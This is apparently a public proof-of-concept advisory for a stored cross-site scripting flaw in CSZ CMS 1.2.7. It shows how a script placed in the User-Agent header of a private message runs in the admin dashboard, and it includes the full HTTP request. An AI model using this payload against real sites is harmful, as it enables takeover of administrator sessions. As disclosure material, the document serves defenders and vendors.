CSZ CMS 1.2.7 - Persistent Cross-Site Scripting

# Exploit Title: CSZ CMS 1.2.7 - Persistent Cross-Site Scripting
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://sourceforge.net/projects/cszcms/
# Version: v1.2.7
# Description:
# Unauthorized user that has access private message can embed Javascript
# code to admin panel.

# Steps to reproduce:
1- Log in to member panel.
1- Change user-agent header as <script>alert(1)</script>
2- Send the private message to admin user.
3- When admin user logs in to Backend System Dashboard, an alert box pops
up on screen.

PoC Request:

POST /CSZCMS-V1.2.7/member/insertpm/ HTTP/1.1
Host: localhost
User-Agent: <script>alert(1)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/CSZCMS-V1.2.7/member/newpm
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Cookie: cszcookie
Connection: close
Upgrade-Insecure-Requests: 1

csrf_csz=*&csrf_csz=*&to%5B%5D=1&title=user-agent&message=user-agent&submit=Send